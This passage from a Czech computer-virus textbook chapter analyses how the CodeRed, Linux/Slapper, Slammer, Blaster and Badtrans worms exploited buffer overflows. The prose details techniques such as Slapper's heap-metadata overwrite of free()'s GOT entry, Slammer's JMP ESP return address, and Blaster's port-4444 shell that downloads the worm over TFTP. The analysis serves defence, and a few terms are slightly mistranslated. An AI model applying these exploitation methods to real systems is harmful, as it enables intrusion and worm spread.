Tento kód ví, že na zásobníku, na pozici 0x300 bajtu od aktuální hodnoty EBX, je ukazatel (nazveme jej jako pHeapInfo). Na pozici pHeapInfo+0x78 je ukazatel (který označíme jako pRequestBuff) na buffer v heapu, který obsahuje tělo požadavku GET, ve kterém je hlavní kód červa. Na základě těchto dvou částečných informací předá kód řízení tělu červa v bufferu.

10.4.3.2 Zranitelnost rámce výjimky Popsaná technika toho, jak se zmocnit ovládání výjimky, je velmi komplikovaná a její vytvoření muselo být obtížné. Krátká časová prodleva mezi popisem původního exploitu a objevením se prvního červa CodeRed naznačuje, že v době jejího použití útočníkem byla tato technika již obecně známá. Tato technika práce s výjimkou tak byla několika nadšencům přetečení bufferu už nějakou dobu dobře známa, a toto konkrétní přetečení bylo vynikající příležitostí, jak dokázat její funkčnost.

Vytváření rámců výjimek na zásobníku způsobuje jejich extrémní náchylnost ke zranitelnosti pomocí přetečení. Kromě toho – v některých verzích Windows dispečer ovládání výjimek neprovádí naprosto dokonalou kontrolu ovladačů výjimek. Tato kombinace vede v některých systémech Windows ke kritické zranitelnosti. Jinými slovy – červ CodeRed se spoléhá na to, že zranitelnost rámce výjimky ve Windows umožní uskutečnění rychlého útoku přetečením bufferu proti systémům IIS. Přestože Microsoft uvedl ve Windows XP ovládání výjimek založené na vektorech (vector-based), tato technika pomáhá útočníkům, aby snadněji dosáhli přetečení heapu21.

10.4.4 Červ Linux/Slapper, 2002 (příklad přetečení heapu) 30. července 2002 odhalilo oddělení bezpečnostního poradenství A.L. Digital Ltd. a The Bunker čtyři kritické zranitelnosti v balíku OpenSSL. Jednalo se o volně dostupnou implementaci protokolu SSL (Secure Socket Layer) používaného k zabezpečení komunikace po síti. SSL poskytuje kryptografické základy pro mnoho populárních softwarových balíků, mezi kterými je i webový server Apache. O méně než dva měsíce později červ Linux/Slapper úspěšně zneužil jedno z uvedených přetečení bufferů a během několika dnů se rozšířil na tisíce počítačů po celém světě.

Linux/Slapper22 se tak stal jednou z nejvýznamnějších nákaz v systémech Linux. Je velice podobný červu BSD/Scalper, odtud pochází i jeho jméno. Červ se nešíří lokálních sítích, jako jsou 10.*.*.*, což v tomto prostředí omezuje jeho šíření.

354

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

10.4.4.1 Pod útokem Linux/Slapper se šíří na linuxové stroje exploitací založenou na přetečení bufferu příliš dlouhého argumentu klíče SSL2 v knihovně libssl, která se používá v modulu mod_ssl webových serverů Apache 1.3.

Při útoku na nějaký stroj se červ nejprve pokouší zjistit o něm nějaké informace. To dělá tak, že nejdříve zašle na HTTP port (tedy port 80) neplatný požadavek GET a očekává, že společně s chybovým stavem Apache zašle číslo své verze, a také verzi distribuce Linuxu, na které byl Apache zkompilován. Červ obsahuje pevný seznam 23 architektur, na kterých byl testován, a se kterým porovnává získané číslo verze. Později používá tuto informaci o verzi k doladění parametrů útoku. Je-li Apache nakonfigurován tak, aby číslo verze nevracel, nebo když červ vrácenou verzi softwaru nezná, vybere výchozí architekturu (Apache 1.3.23 na RedHat) a "magickou" konstantu s ní spojenou.

Tato konstanta je pro červa velmi důležitá. Jedná o adresu položky tabulky GOT (Global Offset Table) knihovní funkce free(). Položky GET souborů ELF jsou ekvivalentem položek IAT (Important Address Table) souborů PE na systémech Windows. Obsahují adresy funkcí knihoven pro volání. Když systémový zavaděč mapuje spustitelný soubor pro spuštění, jsou do položek GOT zavedeny adresy všech funkcí.

Slapper usiluje o unesení (hijack) volání knihovní funkce free(), aby mohl spustit svůj vlastní shellkód na vzdáleném počítači.

10.4.4.2 Přetečení bufferu V minulosti někteří červi zneužívali přetečení bufferu na zásobníku. Tato přetečení na zásobníku jsou však nepříliš důležitá v porovnání s přetečeními druhé generace, která zneužívají strukturu heapu. Protože se zranitelnost OpenSSL týká struktur alokovaných na heapu, musel autor červa vyřešit mnoho detailů, aby vytvořil útok, který by byl úspěšný na většině systémů. Exploitace této zranitelnosti rozhodně nebyla triviální a vyžadovala někoho, kdo má dostatek času a zkušeností.

Když je Apache zkompilován a nakonfigurován k použití SSL, naslouchá na HTTPS portu (port 443).

Slapper na tomto portu otevírá spojení a zahajuje "podání ruky" protokolu SSLv2. Klientovi posílá zprávu "ahoj", inzerující osm používaných typů šifrování (červ ovšem podporuje pouze jedno, 128bitové RC4 s MD5); v odpovědi přijme certifikát serveru. Poté pošle hlavní klíč (master key) klienta a klíčový argument, který ale specifikuje delší, než je maximálně povolený SSL_MAX_KEY_ARG_LENGTH (osm bajtů).

Když jsou data paketu parsována funkcí get_client_master_key() v knihovně libssl na serveru, neprovádí kód kontrolu délky klíčového argumentu a nakopíruje jej do bufferu pevné délky key_arg[] velikosti SSL_MAX_KEY_ARG_LENGTH ve struktuře SSL_SESSION, alokované na heapu. Cokoli za key_arg[] tak může být přepsáno libovolnými bajty. Jedná se jak o elementy struktury SSL_SESSION za key_arg[], tak i o data správy heapu, která následují za paměťovým blokem, obsahujícím strukturu.

Manipulace s elementy ve struktuře SSL_SESSION je nutná pro úspěšné přetečení bufferu. Autor exploitu věnoval pozornost tomu, aby přepsáním těchto položek nedošlo k přílišnému narušení komunikace prostřednictvím SSL.

Počítačové viry – analýza útoku a obrana

355

10.4.4.3 Dvojnásobné využití Je zajímavé, že červ využívá mechanismus přetečení dvakrát, a nikoli pouze jednou – poprvé k lokalizaci heapu v adresovacím prostoru procesu Apache, a poté k injektáži svého bufferu pro útok a kódu shellu.

Pro rozdělení exploitu do dvou fází existují dva dobré důvody.

Prvním důvodem je to, že buffer útoku musí obsahovat absolutní adresu kódu shellu, kterou je velmi těžké mezi všemi servery odhalit – z toho důvodu, že je uložena na heapu, v dynamicky alokované paměti. K vyřešení tohoto problému červ zajistí, že server vyzradí adresa místa, kde bude shellkód končit.

Ihned poté pošle příslušně upravený buffer pro útok.

Druhým důvodem je to, že exploit potřebuje přepsat pole se šifrou ve struktuře SSL_SESSION, která je umístěna za nekontrolovaným bufferem key_arg[]. Toto pole identifikuje šifru, která se používá během zabezpečené komunikace – pokud je její hodnota ztracena, relace se velice rychle ukončí. Během své první fáze tedy červ zjistí hodnotu tohoto pole, přičemž během druhé fáze tuto hodnotu vloží zpět na správné místo ve struktuře SSL_SESSION. Tento dvoufázový přístup vyžaduje dvě oddělená spojení se serverem a uspěje pouze z toho důvodu, že Apache 1.3 je server založený na procesech (nikoli server založený na threadech). Potomci, vytvoření serverem Apache pro obsloužení dvou spojení, která jdou za sebou, budou sdílet stejné prostředí heapu, které pochází z jejich rodičovského procesu. Všechno ostatní zůstává stejné; struktury alokované na heapu budou během obou spojení končit na stejných adresách.

Předpokládá se, že ke zpracování dvou spojení Apache vytvoří dvě čerstvá "identická dvojčata", ale za běžných okolností k tomu nemusí vždy dojít. Apache udržuje fond již běžících serverů, které čekají na požadavky ke zpracování. Aby červ přiměl Apache vytvořit dva nové procesy, vyčerpá před útokem tento fond serverů tak, že v intervalech 100 milisekund vytvoří posloupnost 20 spojení.

10.4.4.4 Získání adresy heapu První použití přetečení bufferu červem způsobí, že OpenSSL vyzradí umístění heapu. K tomu dojde přepsáním bufferu key_arg[] 56 bajty – až po pole session_id_length ve struktuře SSL_SESSION. Pole session_id_length popisuje délku 32 bajtů dlouhého bufferu session_id[], který je ve struktuře SSL_SESSION umístěn za ním. Červ přepíše pole session_id_length hodnotou 0x70 (112). Poté SSL komunikace SSL pokračuje běžný způsobem, dokud červ nepošle serveru zprávu "client finished", která indikuje, že chce ukončit spojení.

Po přijetí této zprávy odpoví server zprávou "server finished", která obsahuje data session_id[]. Opět není kontrolována hranice session_id_length, a server tak pošle nejenom obsah bufferu session_id[], ale i obsah všech 112 bajtů struktury SSL_SESSION, začínajících session_id[]. Ty, kromě dalších věcí, obsahují i pole, nazvané jako ciphers, které se odkazuje na strukturu alokovanou na heapu hned za strukturou SSL_SESSION. Tam bude umístěn shellkód – podle obsahu pole cipher, které specifikuje použitou metodu šifrování.

Z dat session_id získaných od serveru červ extrahuje dvě adresy heapu a vloží je do bufferu určeného pro útok. Do tohoto bufferu je rovněž vložen TCP port spojení útočníka (k pozdějšímu použití samotným shellkódem). Červ pak zahání druhé SSL spojení a opětovně spustí přetečení zásobníku.

356

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

10.4.4.5 Zneužívání glibc Druhé použití přetečení bufferu je mnohem více propracovanější než první. Lze jej popsat třemi kroky, které vedou ke spuštění kód shellu: 1. Porušení dat pro správu heapu.

2. Zneužití knihovního volání free() ke změně libovolné hodnoty DWORD v paměti; tou bude samotná položka GOT funkce free().

3. Opětovné volání free(), tentokrát se ovšem předá řízení na místo shellkódu.

Buffer útoku, použitý při druhém přetečení, se skládá ze tří částí:  Položky, které budou umístěny do struktury SSL_SESSION za buffer key_arg[].  12 bajtů speciálně vytvořených dat.  124 bajtů kódu shellu.

Když dojde k přetečení bufferu, jsou přepsány všechny části struktury SSL_SESSION za bufferem key_ arg[]. Numerická pole jsou vyplněna bajty A; pole ukazatelů jsou nastavena na NULL, kromě pole obsahující šifru – to je obnoveno na hodnotu, která byla zjištěna v první fázi útoku.

24 bajtů paměti, následujících za strukturou SSL_SESSION, je přepsáno falešnými daty pro správu heapu. Alokační rutiny glibc udržují pro účely správy heapu tzv. značky hranic mezi jednotlivými bloky paměti. Každá značka se skládá z velikosti paměťových bloků před ní a za ní a jednoho bitu, který indikuje, zdali je blok před ní už použit, nebo zdali k dispozici (bit PREV_IN_USE). Kromě toho – volné bloky jsou vedeny ve dvojitě spojených seznamech, které jsou tvořený dopřednými a zpětnými ukazateli, udržovanými v samotných volných blocích.

Falešná data pro správu paměti, která jsou červem vložena za strukturu SSL_SESSION, představují nealokovaný blok minimální délky, obsahující pouze adresu shellkódu, a dopředný a zpětný ukazatel na adresu GOT položky funkce free(), od které je odečteno 12. Adresa položky GOT je onou "magickou" hodnotou, která byla zjištěna testováním serveru na začátku – adresa shellkódu je vlastně hodnota pole ciphers, zjištěná z OpenSSL v první fázi útoku, a navýšená o 16 (kvůli obsahu falešného bloku a hraniční značky).

Poté, co jsou na serveru navozeny předchozí podmínky, červ pošle zprávu "client finished", která udává falešné číslo spojení. To způsobí, že server ukončí relaci a pokusí se uvolnit paměť s ní spojenou. Je vyvolána funkce SSL_SESSION_free() knihovny OpenSSL, která obratem zavolá funkci free() knihovny glibc a jako argument jí předává ukazatel na modifikovanou strukturu SSL_SESSION. Zdálo by se, že uvolnění paměti je poměrně jednoduchý úkol. Je však pravdou, že pomocí funkce free() je při uvolnění bloku paměti provedeno více akcí. Kromě jiných úloh se free() zabývá konsolidací bloků, což znamená, že související volné bloky jsou spojovány do jednoho, aby se zabránilo fragmentaci. Tato konsolidací bloků používá pro manipulaci spojených seznamů volných bloků dopředné a zpětné ukazatele a věří, že se odkazují do paměti heapu.

Exploit využívá dopřednou konsolidaci (spojení) bloku paměti SSL_SESSION s falešným blokem, který je vytvořen po vhodnén nastavení bitu PREV_IN_USE hraniční značky. Dopředný ukazatel ve falešném

Počítačové viry – analýza útoku a obrana

357

bloku, který se odkazuje na GOT, je považován za ukazatel na hlavičku bloku a dereferencován a hodnota zpětného ukazatele (adresa shellkódu) je zapsána do hlavičky na offset 12. Adresa shellkódu tak skončí v položce GOT funkce free().

Má smysl poznamenat, že falešný zpětný ukazatel je také dereferencován, takže začátek shellkódu je rovněž považován za hlavičku bloku a je přepsán na offsetu 8 hodnotou falešného dopředného ukazatele. Aby se zamezilo poškození shellkódu během této operace, začíná se krátkým skokem, za kterým následuje 10 nepoužitých bajtů, vyplněných operacemi NOP. Během konsolidace tak není poškozena žádná instrukce shellkódu.

Když pak server znova volá funkci free(), je použita modifikovaná adresa této funkce v tabulce GOT a tok řízení přejde na shellkód.

10.4.4.6 Shellkód a infekce Když je shellkód spuštěn, nejprve vyhledá socket TCP spojení se strojem, ze kterého je prováděn útok.

To provede tak, že cyklicky prochází všechny popisovače (descriptors) souborů a volá pro ně funkci getpeername() tak dlouho, dokud volání neuspěje, čímž indikuje, že objevený TCP port je ten, který byl vložen do shellkódu. Poté zduplikuje popisovač socketu na standardní vstup, výstup a chybový výstup.

Shellkód se dále pokusí získat oprávnění uživatele root tak, že volá setresuid() se všemi UID nastavenými na nulu. Apache se obvykle spouští jako root a poté – pomocí funkce setuid() – změní identitu na neprivilegovaného uživatele "apache". Volání setresuid() tak selže, protože funkce setuid() je nezvratná (irreversible), na rozdíl od funkce seteiud(). V kapitole 15 je uveden záznam ze sledování útoku shellkódu Slapperu, ze kterého je zřejmé, že funkce setresuid() selže a volajícímu kódu vrátí hodnotu -1.

Tento záznam rovněž může pomoci objasnit posloupnost volání free() během útoku. Vypadá to, že autor shellkódu přehlédl tu skutečnost, že červ pro své šíření vůbec nepotřebuje práva uživatele root, protože zapisuje pouze do složky "/tmp".

A nakonec je pomocí systémového volání execve() spuštěn standardní shell /bin/sh. Útočícím červem je voláno několik příkazů shellu, které jej zavedou na server (ve formě kódování uuencode), dekódují jej, zkompilují a spustí. Rekompilace červa na různých platformách znamená, že identifikace červa v binární podobě je o něco složitější. Tyto operace se provádějí ve složce "/tmp", kde jsou umístěny soubory červa pod jmény .uubugtraq, .bugtraq.c a .bugtraq (tečky na začátku jména slouží k ukrytí souborů před jednoduchým příkazem ls).

10.4.4.7 Teď mě vidíš a teď ne Protože červ k přenosu sebe sama přebírá SSL spojení, měli bychom uvažovat o tom, zdali se přenese po síti v zašifrované podobě. Tato otázka je důležitá pro autory systémů IDS, které se spoléhají na detekci signatur v paketech. K přetečení bufferu během komunikace SSL naštěstí dojde dostatečně brzy předtím, než je socket použit v zašifrovaném režimu, takže shellkód je na síti viditelný. Stejný socket je později použit pro přenos příkazů shellu, a pro přenos samotného červa v textové podobě. Jedinými šifrovanými přenosy jsou pakety "server verify", "client finished" a "server finished", které však nejsou pro účely detekce ničím významné.

358

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

10.4.4.8 Útok prostřednictvím sítě P2P Když je instance červa spuštěna na novém stroji, připojí se k portu 2002/UDP a stane se součástí peer-to-peer sítě. Zdůrazněme, že ačkoliv může být zranitelný stroj napaden vícekrát a opětovně tak být exploitován, připojení k portu 2002 zabraňuje tomu, aby běželo současně více kopií červa.

Původní červ (ten z útočícího stroje) pošle své nové kopii seznam všech hostitelů v síti P2P, a po síti rozešle adresu nové instance červa. Aktualizace seznamu hostitelů se tak posílají mezi jednotlivými stroji v síti. Nová kopie červa rovněž začne v síti vyhledávat další zranitelné stroje, přičemž vynechává náhodně zvolené sítě třídy velikosti B (B–sized networks).

Komunikační protokol červů použitý v síti P2P je založen na UDP a je velmi spolehlivý – používá kontrolní součty, čísla posloupnosti a potvrzovací pakety. Každá instance červa navíc funguje jako zadní vrátka pro útok DDoS.

10.4.4.9 Shrnutí útoku červa Linux/Slapper Linux/Slapper je zajímavým spojením agenta DDoS, funkcí převzatých ze zdrojového kódu OpenSSL a shellkódu, o kterém jeho autor tvrdí, že není jeho vlastní. To vše dohromady dává velké množství kódu, který není možné snadno rozlousknout. A podobně jako u Scalperu, který exploitoval implementaci funkce memcpy() v BSD, i v tomto případě není cílem exploitovat pouze aplikaci, ale aplikaci a pod ní běžící knihovny. Dalo by se čekat, že funkce free() a memcpy() se chovají určitým způsobem, který odpovídá předpokladům zkušených programátorů. Při použití v neobvyklém stavu nebo se špatnými parametry se však stávají tyto funkce nevypočitatelnými.

Linux/Slapper ukazuje, že linuxové stroje se mohou stát cílem červů tak snadno, jako počítače s Windows. Uživatel si den, kdy byl jeho linuxový server infikován Slapperem, určitě pořádně zapamatuje.

10.4.5 Červ W32/Slammer, leden 2003 (miničerv) Červ Slamer23 se zaměřuje na zranitelné verze produktu Microsoft SQL Server 2000, stejně jako na MSDE 2000 (Microsoft SQL Server 2000 Desktop Engine). Kvůli integraci MSDE do spousty softwarových balíků, například Microsoft Visio 2000 Enterprise Edition, se zranitelnými červem Slammer staly nejenom serverové systémy, ale i mnoho pracovních stanic. Mnoho uživatelů bohužel věřilo, že jejich pracovní stanice jsou před Slammerem v bezpečí, bohužel byly červem nakaženy, a to opakovaně. Červ způsobil závažnou epidemii infekce po světě. Útok začal 25. ledna 2003. Podle dřívějších zpráv napadl červ během prvních 15 minut velké množství počítačů po celém světě. Úvodní vypuknutí červa vedlo také k vyvolání rozsáhlého útoku DoS. Červ útočí exploitací založenou na přetečení zásobníku, které se objevuje v DLL implementující službu SQL serveru nazvanou jako Resolution Service. Toto DLL (ssnetlib.dll) používá proces služby SQL serveru, nazvaný jako SQLSERVR.EXE. Tato zranitelnost byla Microsoftu ohlášena Davidem Litchfieldem (NGSSoftware), společně s několika dalšími lidmi. Exploitační kód byl poprvé uveden na konferenci BlackHat. Je zřejmé, že se tento kód stal základem červa.

Počítačové viry – analýza útoku a obrana

359

10.4.5.1 Příprava exploitu Proces SQL serveru naslouchá na TCP a UDP portech. Červ směřuje na UDP port 1434, kam zašle speciální požadavek (0x04), specifikovaný jako první znak payloadu. Ten je v datagramu následován speciálně vytvořeným "řetězcem", který obsahuje kód červa. Tento kód je extrémně malý. Obsahuje pouze 376 bajtů, což z něj činí nejkratší známý červ dnešní doby (376 bajtů je délka datagramu UDP bez hlaviček protokolů).

Protože červ může k útoku použít protokol UDP, je zdrojová IP adresa původního útočníka pravděpodobně smyšlená. Červ se šíří na náhodně vygenerované IP adresy. V důsledku toho je velmi těžké vypátrat, ze které země se útok rozšířil.

10.4.5.2 Problémy v ssnetlib.dll (v SQL Serveru 2000) Příslušná zranitelná funkce v ssnetlib.dll je vnořena dvě úrovně hluboko v threadu, spojeném s příchozím požadavkem. Tato funkce má bufferu o velikosti 128 bajtů vytvořit řetězec pro přístup do registru tak, že tento řetězec složí ze tří jiných řetězců. Tento řetězec bude vytvořen na zásobníku, přičemž pro délku prostředního parametru řetězce neexistuje žádná kontrola vstupu. Řetězce 1 a 3 jsou konstantní a jsou umístěny v ssnetlib.dll.  Řetězec 1. "SOFTWARE\Microsoft\Microsoft SQL Server\"  Řetězec 2. Řetězec poslaný v datagramu (začíná za typovým polem 0x04).  Řetězec 3. "\MSSQLServer\CurrentVersion"

Když je do funkce vložen příliš dlouhý řetězec, je zásobník poškozen. Řetězec 2 je jméno instance SQL serveru. Podle informací z Microsoft Knowledge Base může být tento řetězec nejvíce 16 znaků dlouhý.

To však není vynucováno ani serverem, ani žádným klientem. Červ je opravdu dobře promyšlen. Jeho tělo je kompaktní a neobsahuje žádné nuly. To proto, že se používá jako parametr řetězce při volání knihovny funkce sprintf(). V důsledku přetečení je na zásobníku vytvořen spojený řetězec, přičemž podřetězec č. 2 je samotné tělo červa.

10.4.5.3 Převzetí řízení Protože červ nemůže obsahovat nuly, autor červa používá mnoho výplňových bajtů 01. Kromě toho jsou všechny pokusy o infekci prováděny s adresami, které neobsahují žádné nuly; v některých případech kód používá k maskování nulových bajtů operaci XOR, což je známou technikou shellkódů. Červ začíná hlavičkou, kterou představují lokální proměnné chybné funkce. Za těmito výplňovými bajty následuje nová návratová adresa (0x42B0C9DC). Touto adresou je ukazatel na instrukci JMP ESP uvnitř SQLSORT.DLL, což je jiný modul procesu SQL serveru.

K zajištění toho, aby zranitelná funkce předala řízení tělu červa, hlavička používá nastrčené (dummy) hodnoty (0x42AE7001), které nahradí argumenty funkce na zásobníku. To je nutné, protože tyto argumenty se použijí až po volání sprintf(), které spustí přetečení. Neúspěch při nahrazení těchto argumentů by vedl k vyvolání výjimky a funkce by se nemohla normálně vrátit.

360

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Když se funkce vrátí, řízení přejde na instrukci JMP ESP, která skočí na místo v zásobníku, které je hned za ukradenou návratovou adresou. První instrukcí bude krátký skok kolem nastrčených argumentů funkce do hlavního kódu červa.

10.4.5.4 Inicializace Protože část hlavičky červa obsahuje lokální proměnné, mohou být tyto změněny v době mezi použitím příslušné chybné funkce sprintf() a návratem do těla červa. To může poškodit jeho hlavičku. Proto červ tuto oblast nejprve přebuduje, aby zajistil, že hlavička zůstane stejná i pro další útok.

Následně musí červ zavolat několik funkcí. Stejně jako u kódu původního exploitu, i tento červ používá složku adres importu modulu SQLSORT.DLL pro volání funkcí LoadLibraryA() a GetProcAddress().

Tatu rutina je kompatibilní s různými verzemi service packů a záplat SQL Serveru. I proto je kód GetProcAddress() nejprve zkontrolován, aby se zajistilo, že se jedná o správný vstupní bod funkce. Červ získá přístup k ovladačům (bázovým adresám) modulů WS2_32.DLL and KERNEL32.DLL. Poté získá adresy všech API, které potřebuje k replikaci, tedy socket(), sendto() a GetTickCount().

10.4.5.5 Replikace Replikace je extrémně jednoduchá. Červ v nekonečném cyklu posílá 376 bajtů na náhodně vygenerované IP adresy prostřednictvím UDP portu 1434. To má za následek nárůst vytížení CPU serveru – jsou poslány tisíce paketů, což způsobí efektivní DoS útok, a současně i zkompromitování velkého množství počítačů po celém světě.

Náhodné číslo, které je použito pro generování IP adres, je variantou základního generátoru náhodných čísel od Microsoftu. Používají i stejný násobitel. To má za následek dostatečně náhodné rozložení cílových systémů.

10.4.5.6 Shrnutí útoku červa Slammer Je důležité poznamenat, že po dobu šesti měsíců byla dostupná záplata od Microsoftu, a to nejenom k odstranění této zranitelnosti, ale i několika dalších, které jsou s ní spojené (viz Microsoft Security Bulletin MS02-039 a Security Bulletin MS02-061). Tyto záplaty by při správném použití útok zablokovaly, ale pro mnoho velkých společností je jejich instalace příliš drahá. Proces záplatování také není nijak jednoduchý, a to kvůli velkému množství produktů od Microsoftu a jiných výrobců, které používají SQL server jako komponentu. Mnoho uživatelů si kromě toho vůbec neuvědomuje, že mnohé programy, jako třeba Visio, používají SQL server jako svoji nezbytnou součást, a své systémy tak vůbec nezáplatují.

Ačkoliv SQL server nabízí použití různých uživatelských práv pro instalaci procesů serveru, tyto procesy často využívají kontext systému nebo práva administrátora. To poskytuje útočníkům efektivní přístup ke všem zdrojům v systému, protože unesený thread běží s příslušnými oprávněními a v systému může napáchat velké škody.

Podle odhadů infikoval Slammer nejméně 75000 hostitelů. Když se začal šířit, počet infikovaných systmu se každých 8,5 sekundy24 zdrojnásobil.

Počítačové viry – analýza útoku a obrana

361

10.4.6 Červ Blaster, srpen 2003 (útok pomocí shellkódu na Win32) 11. srpna 2003 (stejný den, ve kterém byl dokončen) začal celkem 6176 bajtů dlouhý červ, zkomprimovaný pomocí UPX, napadat svět pomocí zranitelnosti, která byla popsána v Microsoft Security Bulletinu MS03-2625. Tato specifická zranitelnost postihovala i Windows Server 2003. Bohužel, tato zranitelnost RPC/DCOM mohla být zneužita neautentizovanými spojeními klienta. Záplata od Microsoftu sice byla dostupná, nicméně prodleva mezi objevením zranitelnosti a jejím následným zneužitím červem byla tentokrát příliš malá.

10.4.6.1 Všechny systémy běží První věc, kterou W32/Blaster26 udělá po svém spuštění na systému je, že v registru, konkrétně v klíči HKLM/…/Run vytvoří hodnotu "windows auto update", která se odkazuje na samotné jméno souboru msblast.exe (v případě varianty .A). Tím se červ spoléhá na to, že spustitelné programy obvykle skončí v adresáři, který Windows prohledávají jako výchozí, což se obvykle také stane. Pak se červ pokusí vytvořit mutex, nazvaný jako BILLY, popř. tento pokus zruší, pokud již existuje. Tímto červ zabraňuje vytváření vícenásobných kopií. W32/Blaster pak už pouze čeká na aktivní síťové spojení. Jakmile je připojení aktivní, začne vyhledávat další stroje k infekci.

10.4.6.2 SP4, SP3, SP2, SP1, zážeh!

Výběr cíle je u Blastera poněkud odlišný, než u červů CodRed a Slammer. Blaster šedesát procent času věnuje skenování náhodných IP adres v celém rozsahu a čtyřicet procent zbývajího času útočí na stroje ve stejné síti velikosti třídy B jako je hostitel, přičemž se snaží převzít kontrolu nad zranitelnými systémy v lokální síti. Skenování cílů je lineární (cílová adresa je monotónně zvyšována, dokud není dosaženo konce IP prostoru); v případě lokálního útoku začíná těsně pod třídou C hostitele. Červ se zaměřuje na stroje s Windows 2000 a Windows XP, přičemž jednoznačně preferuje exploitaci Windows XP (nejspíš proto, že payload se spoléhá na zvyšující se dostupnost nezpracovaných paketů – požadavek být administrátorem byl odstraněn). Osmdesát procent času se červ zabývá systémy Windows XP a 20% systémy Windows 2000. Všechny neopravené service packy na obou systémech jsou zasaženy, ale z důvodů náhodného vyladění červ občas způsobí na útočícím stroji DoS, což vede k havárii služby RPC.

10.4.6.3 Druhá fáze: Shell Infekce nového stroje je třífázový proces, který v porovnání s CodeRed, využívajícím jediné spojení, a lehkým Slammerem, vyžaduje poměrně velké množství síťové aktivity. Červ nejprve prostřednictvím portu 135/TCP pošle útočný buffer, který exploituje zranitelnost RPC DCOM a způsobí, že vzdálený počítač připojí shell v kontextu SYSTEM (CMD.EXE) na port 4444/TCP. Dále červ pošle nově vytvořenému shellu příkaz požadující stažení souboru červa z útočícího stroje do oběti. Přenos se provádí na portu 69/UDP pomocí protokolu TFTP – červ používá svůj vlastní jednoduchý TFTP server, který formátuje posílaná data podle RFC 1350, a který používá TFTP klienta, který je standardně dostupný na většině systémů Windows. A poté, když je soubor msblast.exe úspěšně stažen, nebo po uplynutí 21 vteřin, si červ vyžádá spuštění tohoto souboru na vzdáleném počítači.

362

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

10.4.6.4 Máme problém Poté, co se shell ukončí, unesená služba RPC, ve které běžel shell, zavolá funkci ExitProcess(), což způsobí ukončení služby. Ukončení služby RPC (bez ohledu na důvod), vede po jedné uběhnuté minutě k restartu systému s Windows XP. Na systémech Windows 2000 má ukončení této služby za následek spoustu vedlejších efektů, včetně jednoho kritického, kterým je neschopnost použít službu Windows Update.

10.4.6.5 Galaktický střelec Jak je u rychle se šířících červů běžné, W32/Blaster využívá exploitační kód, který byl už dříve zaslán do různých e-mailových konferencí o bezpečnosti. Tento exploit používá dva tzv. univerzální offsety jako návratové adresy v klasickém přetečení bufferu na zásobníku, přičemž každý z nich je kompatibilní s několika servisními záplatami jedné verze Windows. Zranitelnost je umístěna v kódu souboru rpcss.dll, konkrétně ve funkci, která se vztahuje k aktivaci objektů DCOM. Tato zranitelná funkce extrahuje jméno serveru NetBIOSu z cesty UNC, zadané klientem DCOM, a snaží se ji vložit do 32bajtového bufferu na zásobníku bez toho, aby se kontrolovaly hranice.

Když je zásobník napaden, unesená návratová adresa směřuje na CALL EBX instrukci (v "dobře známé" tabulce konstantních dat – paměti mapované ze souboru Unicode.nls), která poté skočí zpět na skupinu NOPů ve shellkódu. To je možné díky tomu, že registr EBX se odkazuje na lokální proměnnou v dřívějším rámci zásobníku (tedy na vyšší adrese v paměti), který byl vytvořen volajícím kódem čtvrté úrovně (!) chybné funkce. Situaci ilustruje obrázek 10.15.

Obrázek 10.15 Obsah paměti a tok řízení během útoku Blasteru.

Počítačové viry – analýza útoku a obrana

363

Kód shellu získá některé užitečné adresy API, připojí se na port 4444/TCP, akceptuje jedno příchozí spojení, vytvoří shell a jeho vstup spojí se socketem na portu 4444. Pak počká na dokončení procesu shellu a ukončí se.

10.4.6.6 MS-DoS Červ W32/Blaster používá distribuovaný útok DoS (Denial of Service, odmítnutí služby) proti webové stránce windowsupdate.com, kde jsou k dispozici bezpečnostní aktualizace Windows. Útok je prováděn, pokud je aktuální den v měsíci větší než 15 nebo pokud je aktuální měsíc větší než 8 (takže každý den od 15. srpna do konce roku, a poté opět od 16. do 31. ledna, dále od 16. do 29. února atd.).

Na Blaster byl rychle podniknut protiútok červem W32/Welchia25. Tento červ však při distribuci bezpečnostních záplat často selhal, a proto byl ve svých pokusech o "válku červů" považován za škodlivý.

10.4.7 Obecné použití přetečení bufferu v počítačových virech Jak jsme viděli v předchozích příkladech, je zřejmé, že počítačoví červi typicky napadají procesy služeb a démony, kteří naslouchají na různých portech TCP/UDP a čekají na zpracování příchozích požadavků. Takové komunikační služby mohou často obsahovat chyby, jak tomu bylo v případě programu fingerd (červ Morris), BIND (červ ADM27) nebo Microsoft IIS (červ CodeRed).

Je vhodné poznamenat, že nejlepší doporučovanou praxí je odstranění všech nepotřebných služeb ze systému. Všechny takové služby by měly být odstraněny, aby bylo prostředí bezpečnější, a aby se tak snížily šance škodlivých hackerů a útočících virů k průniku do vnitřních sítí. Například v případě červa CodeRed bylo zranitelné IDQ.DLL použito kvůli podpoře indexovací služby, která je ovšem velmi zřídka používána. Kdyby byla tato služba zakázána na všech systémech, kde není potřebná (což je s největší pravděpodobností většina systémů), nebyl by CodeRed tak úspěšný.

10.4.8 Popis W32/Badtrans.B@mm W32/Badtrans.B@mm byl objeven 24. listopadu 2001. Jedná se o červa, který se pod různými jmény souborů šíří e-mailem a z infikovaných počítačů krade data, například hesla.

10.4.8.1 Exploit MIME Červ používá exploit hlavičky MIME, která povoluje vykonání těla červa během čtení (nebo zobrazení náhledu) infikované e-mailové zprávy. Postižen je Microsoft Outlook (Express) a případně kterýkoliv e-mailový klient, který k zobrazení HTML e-mailů používá jádro Internet Exploreru. Aby červ infikoval počítač, uživatel vůbec ukládat nebo spouštět přílohy – k jejich spuštění totiž stačí e-mailovou zprávu přečíst nebo zobrazit její náhled.

Použitý exploit MIME je popsán v části 10.3.4.5 "Parsování hlaviček MIME".

Zranitelnost hlavičky MIME byla Microsoftem opravena v Security Bulletinu MS01-20 v březnu 2001, červ však byl efektivní ještě i v listopadu, o několik měsíců později. Pokud byl ovšem zranitelný systém záplatován, riziko infekce se významně snížilo.

364

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Bohužel – tímto exploitem je mnoho systémů zranitelných ještě dnes. Tento exploit například používají všechny varianty červa W32/Klez (který se poprvé objevil v říjnu 2001). Ten se dostal na vrchol žebříčku počítačových virů v květnu 2002 – tedy více než rok poté, co se objevila příslušná záplata.

